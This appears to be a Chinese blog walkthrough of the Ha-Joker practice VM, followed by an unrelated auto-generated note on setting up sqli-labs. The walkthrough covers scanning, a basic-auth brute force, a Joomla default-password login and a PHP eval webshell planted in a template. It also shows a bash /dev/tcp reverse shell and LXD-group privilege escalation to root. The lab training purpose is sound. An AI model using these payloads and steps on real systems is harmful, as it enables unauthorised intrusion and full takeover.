基于Ha-Joker靶场的完整渗透测试演示直至提权(root)

10 篇文章 1 订阅

信息收集

┌──(root㉿kali)-[~]
└─# arp-scan -l       # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -p- -T4 10.10.10.138              #之后通过nmap对目标机进行深入探测

-A	:	全扫描,详细扫描目标IP信息
-v	:	显示扫描过程
-sS	:	SYN的半开扫描,不易被发现
-sV	:	扫描服务的版本信息
-p-	:	全端口扫描,相当于(-p 1-65535)
-T	:	扫描线程,最高6级

 通过nmap扫描得到的信息我们发现目标开放了80和8080服务,通过验证80端口的web服务没有利用点属于纯静态页面;但是可以遍历出一些信息便于我们之后构造爆破字典
8080的http服务我们可以尝试爆破获取其username,password

通过Dirsearch进行目录遍历
┌──(root㉿kali)-[~/Downloads/dirsearch]
└─# ./dirsearch.py -e jsp,php,html -u 10.10.10.138 -r ==recursion-depth 3 --recursion-status 200

通过dirb进行遍历
┌──(root㉿kali)-[~/Downloads]
└─# dirb http://10.10.10.138

BurpSuite爆破

抓取GET认证数据包,将其发送到Repeater模块

 我们发现其加密方式为Base64加密;并且用户名和密码通过:冒号分隔

 接下来设置爆破时的payload

 同样给位置2设置一个字典

 选择好需要爆破的变量之后开始Attack

 如下图所示,经过base64解码之后得到其用户名和密码
joker:hannah

 漏洞挖掘

接下来我们使用AWVS对其8080的web站点进一步扫描(提前配置好登陆的用户名和密码),评估其威胁性

通过AWVS的资产评估,我们发现了Joomla的管理员后台登录界面
http://10.10.10.138:8080/administrator/

 又在公网上对此cms进行信息收集,发现存在弱口令joomla:joomla;登录到后台之后接下来就好办了

 对其后台探究一番之后,发现其模块处可能存在漏洞可以利用

漏洞利用

冰蝎连接Webshell

在随机挑一个模板,在其中写入shell,尝试能否用冰蝎连接上
下方演示是将其写入到模板的index.php中,也可以写入到error.php中只要之后触发错误界面从而触发此文件中的shell即可

 访问如下链接(通过扫描器爬取判断路径)来抓取其请求头信息(身份认证)
http://10.10.10.138:8080/templates/beez3/index.php

 新增Shell

冰蝎Webshell连接成功

蚁剑连接Webshell

在模板中写入一句话木马
<?php
@eval($_POST['ggbond']);
?>
记得保存

 配置蚁剑1

 添加请求头

中国蚁剑连接成功

反弹Shell连接服务器

将如下命令插到模板中(-c意思是调用bash命令环境,将标准输入发送到10.10.10.128机器)
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/7777 0>&1'");
保存

Kali机器监听

攻击机kali先开启监听
┌──(root㉿kali)-[~]
└─# nc -lvp 7777         #  端口与插入模板中的反弹shell端口一致
监听开启之后访问插入shell的页面
http://10.10.10.138:8080/templates/beez3/index.php

netcat命令解析
-l	:	监听
-p	:	监听本地端口
-n	:	指定IP
-v	:	熟悉详细信息
-h	:	帮助

kali反弹Shell成功连接

windows(10.10.10.149)机器监听

windows自身没装nc命令,需要手动安装
记得更改插入模板的监听主机IP呦
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.149/7777 0>&1'");
同样先打开监听7777端口之后访问页面
http://10.10.10.138:8080/templates/beez3/index.php

windows反弹Shell连接成功

小彩蛋

使用Kali自带的反弹Shell

Kali也有自带的反弹Shell
┌──(root㉿kali)-[~/Downloads]
└─# cat /usr/share/webshells/php/php-reverse-shell.php 

# 原理一样将其shell插入到后台模板中,记得修改监听地址和端口喔
$ip = '10.10.10.128';  // CHANGE THIS
$port = 7777;       // CHANGE THIS
之后访问下面链接
http://10.10.10.138:8080/templates/beez3/index.php

反弹Shell成功

 到现在为止我们只是拿到了网站后台的管理员权限并非后台系统权限,接下来我们进行lxd组提权 ~~

提权

要想提权我们得知道Linux相关版本,之后通过版本找对应是否有爆出的漏洞加以利用

通过cat /etc/*release 命令查看Linux内核相关配置信息;我们发现此靶场是18.04版的linux
$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.3 LTS"
NAME="Ubuntu"
VERSION="18.04.3 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.3 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

www-data@ubuntu:/tmp$ id           # 通过查看id发现此用户属于lxd组用户;之后我们便可以猜想是否可以将lxd组用户提权至root用户
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit Ubuntu 18.04     # 在kali中查看是否存在其相应的提权EXP,发现可以尝试LXD提权

┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit -p 46978        # 查看相关EXP的详细信息

┌──(root㉿kali)-[~/dirtycow]
└─# cat /usr/share/exploitdb/exploits/linux/local/46978.sh        # 查看使用说明

下载EXP

┌──(root㉿kali)-[~]
└─# git clone https://github.com/saghul/lxd-alpine-builder.git
┌──(root㉿kali)-[~]
└─# cd lxd-alpine-builder     
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ls
alpine-v3.13-x86_64-20210218_0139.tar.gz  build-alpine  LICENSE  README.md       
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ./build-alpine            # 运行脚本构建最新alpine镜像

确保本地web服务开启便于将本地编译好的apline镜像传到目标机
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# systemctl status apache2.service 
将镜像复制到html目录下并且更改权限777方便目标机wget
┌──(root㉿kali)-[/var/www/html]
└─# cp /root/lxd-alpine-builder/alpine-v3.16-x86_64-20221021_0836.tar.gz ./   

之后回到反弹Shell界面将其从kali上wget下来
www-data@ubuntu:/opt/joomla/templates/beez3$ cd /tmp 
www-data@ubuntu:/tmp$ wget http://10.10.10.128/alpine-v3.16-x86_64-20221021_0836.tar.gz

导入镜像   
www-data@ubuntu:/tmp$ lxc image import ./alpine-v3.16-x86_64-20221021_0836.tar.gz --alias myimage     

初始化镜像
www-data@ubuntu:/tmp$ lxc init myimage ignite -c security.privileged=true                  

 挂载磁盘
www-data@ubuntu:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true  

启动镜像
www-data@ubuntu:/tmp$ lxc start ignite    

进入镜像,此时我们便可以通过root用户访问任意文件了
 
www-data@ubuntu:/tmp$ lxc exec ignite /bin/sh 

LXD提权成功

 进入到挂载文件中最终找到了靶机flag
cd /mnt/root/root
cat final.txt

要搭建sqli-labs靶场,你可以按照以下步骤进行操作: 1. 首先,你需要下载sqli-labs的压缩包并解压缩。你可以在引用中提到的sqli-labs-master中找到这个压缩包。 2. 打开sqli-labs-master文件夹,在里面找到sqli-connections文件夹,并以记事本的方式打开db-creds.inc文件。这个文件包含了数据库的访问凭证,你需要根据你自己的数据库设置进行相应的修改。 3. 接下来,你需要点击sqli-labs页面中的"Setup/reset Database for labs"按钮,这将自动创建数据库、创建表并填充数据。你可以参考引用中提供的页面来确认是否成功创建了数据库。 4. 当数据库设置完成并成功创建后,你可以开始使用sqli-labs靶场进行SQL注入的练习。sqli-labs提供了一系列的漏洞场景和相应的源码,适合新手练习漏洞基础、Web安全、渗透等方面的知识。你可以参考引用中提到的sqli-labs靶场的描述和特点。 需要注意的是,搭建sqli-labs靶场需要一定的数据库和Web服务器的基础知识,如果你对此不太熟悉,建议先学习相关知识再进行搭建。同时,在进行练习时,务必遵循法律和道德规范,仅供学习目的使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [sql-labs靶场环境搭建(手把手教你如何搭建)](https://blog.csdn.net/Joker_Dgh/article/details/123913722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [sqli-labs-master.zip](https://download.csdn.net/download/weixin_43896279/12252977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值